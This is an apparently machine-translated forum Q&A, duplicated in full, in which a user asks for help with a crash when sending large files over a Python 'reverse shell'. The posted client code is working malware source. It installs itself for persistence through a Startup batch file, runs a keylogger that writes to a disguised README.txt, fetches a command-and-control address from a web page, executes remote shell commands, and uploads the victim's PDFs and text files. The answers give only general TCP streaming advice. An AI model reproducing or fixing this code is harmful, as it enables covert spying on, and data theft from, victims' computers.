Python 套接字 TCP 连接大小限制？
Python Socket TCP connection size limit?
我目前正在创建一个基于 TCP 的反向 shell（客户端在远程计算机上，连接到本地服务器），它既可以发送和接收文件，也可以通过 TCP 发送 shell 命令.
这些程序在其他方面（例如，接收和发送命令、服务器接收文件）大部分时间都运行良好，直到我尝试将大文件（我记得大于 1 kb）从服务器发送到客户端。
发生的事情是当我尝试发送大文件时，在服务器完成发送后，客户端由于某种原因崩溃了。我什至看不到错误消息。我试图通过在客户端显示接收到的内容来调试它，但它似乎接收正常但立即崩溃。
我将为那些想要帮助的人附上客户端代码和服务器代码。代码有点奇怪，因为我在第一次调试时添加了一些 "flags"。谢谢。
服务器代码：
import socket, pickle, time, os
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
address = 'localhost'
port = 1024
server.bind((address, port))
server.listen(5)
c, addr = server.accept()
file_list = {}
print'connection from: '+str(addr)
print'remote shell can only be used for utility purpose, when switching dirve, use "//" between cd and address'
os.chdir("C:/Users/Insert_Name/Desktop/Server")
while True:
command = raw_input(str(addr)+'>>')
if command == 't':
c.send(command)
cile_list = c.recv(1024)
cile_lista = pickle.loads(cile_list)
for key, value in cile_lista.iteritems():
if 'Downloads' in key:
a, sep, b = key.partition('/Downloads/')
if 'Documents' in key:
a, sep, b = key.partition('/Documents/')
if 'JAVA' in key:
a, sep, b = key.partition('/JAVA_BACKUP/')
output = open(b, 'wb')
content = c.recv(value)
output.write(content)
output.close()
print'file transfer complete'
if command == 'a':
c.send(command)
print'enter T to indicate file list complete'
patha = raw_input('Enter file path(must be in server directory, aka Server): ')
while patha != 'T':
try:
f = open(patha,'rb')
f.close()
size = os.path.getsize(patha)
a, sep, b = str(size).partition('L')
file_list[patha] = int(a)
except:
print'invalid file name'
patha = raw_input('Enter file path(must be in server directory): ')
if len(file_list) == 0:
c.send(pickle.dumps({'0.txt':0}))
else:
file_lista = pickle.dumps(file_list)
c.send(file_lista)
print file_list
for file in file_list:
os.chdir("C:/Users/Insert_Name/Desktop/Server")
content = open(file, 'rb')
content = content.read()
c.send(content)
file_list.clear()
if command != 't':
if command != 'a':
if 'start' in command:
c.send(command)
else:
c.send(command)
if '//' in command:
a, sep, b = command.partition('//')
c.send(b)
feedback = c.recv(1024)
print feedback
while True:
feedback = c.recv(1024)
if '_DONE_' in feedback:
a, sep, b = feedback.partition('_SEP_')
print a
break
print feedback
客户代码：
import socket, os, textract, pickle, requests, time, threading, subprocess, getpass, shutil, lxml, glob, pyHook, pythoncom, sys, logging
from shutil import copyfile
from lxml import html
from os import listdir
#var is the varification webiste
var = 'https://www.publishthis.email/test-SJC9dAQ3G'
file_list = {}
print file_list
username = getpass.getuser()
def duplication(username):
source = "C:/Users/"+username+"/Downloads/MATH_COUNTS/botnet.py"
destination = "C:/Users/"+username+"/Saved Games"
shutil.copy(source, destination)
setup = open('C:/Users/'+ username+'/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/setup.bat', 'w')
pl =('@echo off\nstart C:\Users/%USERNAME%/Saved Games/botnet.py')
setup.write(pl)
setup.close()
def communication(var):
page = requests.get(var)
print page
tree = html.fromstring(page.content)
address = tree.xpath('//div[@class = "body"]/div[@dir = "ltr"]/text()')
address = ''.join(address)
address = address.replace("'", "")
return address
def keylogger(username):
filename = "C:/Users/"+username+"/Saved Games/README.txt"
def keylog(event):
username = getpass.getuser()
logging.basicConfig(filename ="C:/Users/"+username+"/Saved Games/README.txt" , level=logging.DEBUG, format = '%(message)s')
chr(event.Ascii)
logging.log(10, chr(event.Ascii))
return True
hm = pyHook.HookManager()
hm.KeyDown = keylog
hm.HookKeyboard()
pythoncom.PumpMessages()
def tcp_connection(address, username):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server = client.connect((address, 1024))
while True:
command = client.recv(1024)
if command != 'a':
if command == 't':
file_gatherer(username)
print file_list
file_lista = pickle.dumps(file_list)
client.send(file_lista)
for file in file_list:
file = open(file, 'rb')
file = file.read()
client.send(file)
if command != 't':
if command != 'a':
if 'cd' in command:
f = os.getcwd()
b = client.recv(1024)
try:
os.chdir(b)
r = os.getcwd()
except:
r = 'error: invalid directory name'
else:
result = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
f = result.stdout.read()
r = result.stderr.read()
client.send(f)
client.send(r)
client.send('_SEP_/n_DONE_')
if command == 'a':
cile_list = client.recv(1024)
cile_lista = pickle.loads(cile_list)
print cile_lista
for key, value in cile_lista.iteritems():
output = open(key, 'wb')
content = client.recv(value)
print content
output.write(content)
output.close()
def file_gatherer(username):
try:
os.makedirs("C:/Users/"+username+"/Games/JAVA_BACKUP")
except:
pass
for file in os.listdir("C:/Users/"+username+"/Games/JAVA_BACKUP"):
try:
file_list["C:/Users/"+username+"/Games/JAVA_BACKUP/" + file] = os.path.getsize(file)
except:
pass
os.chdir("C:/Users/"+username+"/Downloads")
for file in glob.glob('*.pdf'):
size = os.path.getsize(file)
a, sep, b = str(size).partition('L')
file_list["C:/Users/"+username+"/Downloads/" + file] = int(a)
for file in glob.glob('*.txt'):
size = os.path.getsize(file)
a, sep, b = str(size).partition('L')
file_list["C:/Users/"+username+"/Downloads/" + file] = int(a)
os.chdir("C:/Users/"+username+"/Documents")
for file in glob.glob('*.pdf'):
size = os.path.getsize(file)
a, sep, b = str(size).partition('L')
file_list["C:/Users/"+username+"/Documents/" + file] = int(a)
#for file in glob.glob('*.txt'):
# file_list["C:/Users/"+username+"/Documents/" + file] = os.path.getsize(file)
tcp_connection('localhost', username)
def main():
duplication()
keylogger()
address = communication(var)
file_gatherer()
file_transfer(address)
问题只是文件传输。
- 您通常不能假设套接字读取会填满缓冲区，或者套接字写入会发送指定的全部数据。
- 一般来说，您不应该将整个文件加载到内存中：您应该使用具有合理缓冲区大小（比如 8K）的复制循环。
Python Socket TCP connection size limit?
你问错问题了。真正的问题是 TCP 是一种流协议，而您将其视为一种消息协议，即您在代码中假设一侧的每个 send 都将由对等端的一个 recv 处理.除此之外，您假设 send 将写入作为参数给出的完整缓冲区，但它不会写入 documentation clearly states：
Applications are responsible for checking that all data has been sent; if only some of the data was transmitted, the application needs to attempt delivery of the remaining data.
忽略这意味着您在读取数据时可能会遇到 "messages" 不完整的情况，或者在读取数据时会出现多个 "messages"（或一个填充和一个部分或类似）。例如，这可能会在尝试解封数据时导致崩溃。
但是要达到大小限制：在单个 send 中实际可以写入的数据量是有限的。此限制取决于套接字缓冲区的大小以及套接字的当前状态，即套接字是否已填满。如果您使用 ssl 套接字，它会进一步受到 SSL 帧的最大大小的限制。但是 TCP 本身对可以传输多少数据没有限制，但是如果你传递很多数据，你需要多次写入套接字。
The client program contains a keylogger, which is for now useless because I haven't created a command to activate it yet, so you can just ignore that.
当你自己调试问题或请别人帮助你调试它时，如果你扔掉重现问题实际上不需要的所有东西，它会有很大帮助。参见 How to create a Minimal, Complete, and Verifiable example。
我目前正在创建一个基于 TCP 的反向 shell（客户端在远程计算机上，连接到本地服务器），它既可以发送和接收文件，也可以通过 TCP 发送 shell 命令. 这些程序在其他方面（例如，接收和发送命令、服务器接收文件）大部分时间都运行良好，直到我尝试将大文件（我记得大于 1 kb）从服务器发送到客户端。 发生的事情是当我尝试发送大文件时，在服务器完成发送后，客户端由于某种原因崩溃了。我什至看不到错误消息。我试图通过在客户端显示接收到的内容来调试它，但它似乎接收正常但立即崩溃。 我将为那些想要帮助的人附上客户端代码和服务器代码。代码有点奇怪，因为我在第一次调试时添加了一些 "flags"。谢谢。
服务器代码：
import socket, pickle, time, os
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
address = 'localhost'
port = 1024
server.bind((address, port))
server.listen(5)
c, addr = server.accept()
file_list = {}
print'connection from: '+str(addr)
print'remote shell can only be used for utility purpose, when switching dirve, use "//" between cd and address'
os.chdir("C:/Users/Insert_Name/Desktop/Server")
while True:
command = raw_input(str(addr)+'>>')
if command == 't':
c.send(command)
cile_list = c.recv(1024)
cile_lista = pickle.loads(cile_list)
for key, value in cile_lista.iteritems():
if 'Downloads' in key:
a, sep, b = key.partition('/Downloads/')
if 'Documents' in key:
a, sep, b = key.partition('/Documents/')
if 'JAVA' in key:
a, sep, b = key.partition('/JAVA_BACKUP/')
output = open(b, 'wb')
content = c.recv(value)
output.write(content)
output.close()
print'file transfer complete'
if command == 'a':
c.send(command)
print'enter T to indicate file list complete'
patha = raw_input('Enter file path(must be in server directory, aka Server): ')
while patha != 'T':
try:
f = open(patha,'rb')
f.close()
size = os.path.getsize(patha)
a, sep, b = str(size).partition('L')
file_list[patha] = int(a)
except:
print'invalid file name'
patha = raw_input('Enter file path(must be in server directory): ')
if len(file_list) == 0:
c.send(pickle.dumps({'0.txt':0}))
else:
file_lista = pickle.dumps(file_list)
c.send(file_lista)
print file_list
for file in file_list:
os.chdir("C:/Users/Insert_Name/Desktop/Server")
content = open(file, 'rb')
content = content.read()
c.send(content)
file_list.clear()
if command != 't':
if command != 'a':
if 'start' in command:
c.send(command)
else:
c.send(command)
if '//' in command:
a, sep, b = command.partition('//')
c.send(b)
feedback = c.recv(1024)
print feedback
while True:
feedback = c.recv(1024)
if '_DONE_' in feedback:
a, sep, b = feedback.partition('_SEP_')
print a
break
print feedback
客户代码：
import socket, os, textract, pickle, requests, time, threading, subprocess, getpass, shutil, lxml, glob, pyHook, pythoncom, sys, logging
from shutil import copyfile
from lxml import html
from os import listdir
#var is the varification webiste
var = 'https://www.publishthis.email/test-SJC9dAQ3G'
file_list = {}
print file_list
username = getpass.getuser()
def duplication(username):
source = "C:/Users/"+username+"/Downloads/MATH_COUNTS/botnet.py"
destination = "C:/Users/"+username+"/Saved Games"
shutil.copy(source, destination)
setup = open('C:/Users/'+ username+'/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/setup.bat', 'w')
pl =('@echo off\nstart C:\Users/%USERNAME%/Saved Games/botnet.py')
setup.write(pl)
setup.close()
def communication(var):
page = requests.get(var)
print page
tree = html.fromstring(page.content)
address = tree.xpath('//div[@class = "body"]/div[@dir = "ltr"]/text()')
address = ''.join(address)
address = address.replace("'", "")
return address
def keylogger(username):
filename = "C:/Users/"+username+"/Saved Games/README.txt"
def keylog(event):
username = getpass.getuser()
logging.basicConfig(filename ="C:/Users/"+username+"/Saved Games/README.txt" , level=logging.DEBUG, format = '%(message)s')
chr(event.Ascii)
logging.log(10, chr(event.Ascii))
return True
hm = pyHook.HookManager()
hm.KeyDown = keylog
hm.HookKeyboard()
pythoncom.PumpMessages()
def tcp_connection(address, username):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server = client.connect((address, 1024))
while True:
command = client.recv(1024)
if command != 'a':
if command == 't':
file_gatherer(username)
print file_list
file_lista = pickle.dumps(file_list)
client.send(file_lista)
for file in file_list:
file = open(file, 'rb')
file = file.read()
client.send(file)
if command != 't':
if command != 'a':
if 'cd' in command:
f = os.getcwd()
b = client.recv(1024)
try:
os.chdir(b)
r = os.getcwd()
except:
r = 'error: invalid directory name'
else:
result = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
f = result.stdout.read()
r = result.stderr.read()
client.send(f)
client.send(r)
client.send('_SEP_/n_DONE_')
if command == 'a':
cile_list = client.recv(1024)
cile_lista = pickle.loads(cile_list)
print cile_lista
for key, value in cile_lista.iteritems():
output = open(key, 'wb')
content = client.recv(value)
print content
output.write(content)
output.close()
def file_gatherer(username):
try:
os.makedirs("C:/Users/"+username+"/Games/JAVA_BACKUP")
except:
pass
for file in os.listdir("C:/Users/"+username+"/Games/JAVA_BACKUP"):
try:
file_list["C:/Users/"+username+"/Games/JAVA_BACKUP/" + file] = os.path.getsize(file)
except:
pass
os.chdir("C:/Users/"+username+"/Downloads")
for file in glob.glob('*.pdf'):
size = os.path.getsize(file)
a, sep, b = str(size).partition('L')
file_list["C:/Users/"+username+"/Downloads/" + file] = int(a)
for file in glob.glob('*.txt'):
size = os.path.getsize(file)
a, sep, b = str(size).partition('L')
file_list["C:/Users/"+username+"/Downloads/" + file] = int(a)
os.chdir("C:/Users/"+username+"/Documents")
for file in glob.glob('*.pdf'):
size = os.path.getsize(file)
a, sep, b = str(size).partition('L')
file_list["C:/Users/"+username+"/Documents/" + file] = int(a)
#for file in glob.glob('*.txt'):
# file_list["C:/Users/"+username+"/Documents/" + file] = os.path.getsize(file)
tcp_connection('localhost', username)
def main():
duplication()
keylogger()
address = communication(var)
file_gatherer()
file_transfer(address)
问题只是文件传输。
- 您通常不能假设套接字读取会填满缓冲区，或者套接字写入会发送指定的全部数据。
- 一般来说，您不应该将整个文件加载到内存中：您应该使用具有合理缓冲区大小（比如 8K）的复制循环。
Python Socket TCP connection size limit?
你问错问题了。真正的问题是 TCP 是一种流协议，而您将其视为一种消息协议，即您在代码中假设一侧的每个 send 都将由对等端的一个 recv 处理.除此之外，您假设 send 将写入作为参数给出的完整缓冲区，但它不会写入 documentation clearly states：
Applications are responsible for checking that all data has been sent; if only some of the data was transmitted, the application needs to attempt delivery of the remaining data.
忽略这意味着您在读取数据时可能会遇到 "messages" 不完整的情况，或者在读取数据时会出现多个 "messages"（或一个填充和一个部分或类似）。例如，这可能会在尝试解封数据时导致崩溃。
但是要达到大小限制：在单个 send 中实际可以写入的数据量是有限的。此限制取决于套接字缓冲区的大小以及套接字的当前状态，即套接字是否已填满。如果您使用 ssl 套接字，它会进一步受到 SSL 帧的最大大小的限制。但是 TCP 本身对可以传输多少数据没有限制，但是如果你传递很多数据，你需要多次写入套接字。
The client program contains a keylogger, which is for now useless because I haven't created a command to activate it yet, so you can just ignore that.
当你自己调试问题或请别人帮助你调试它时，如果你扔掉重现问题实际上不需要的所有东西，它会有很大帮助。参见 How to create a Minimal, Complete, and Verifiable example。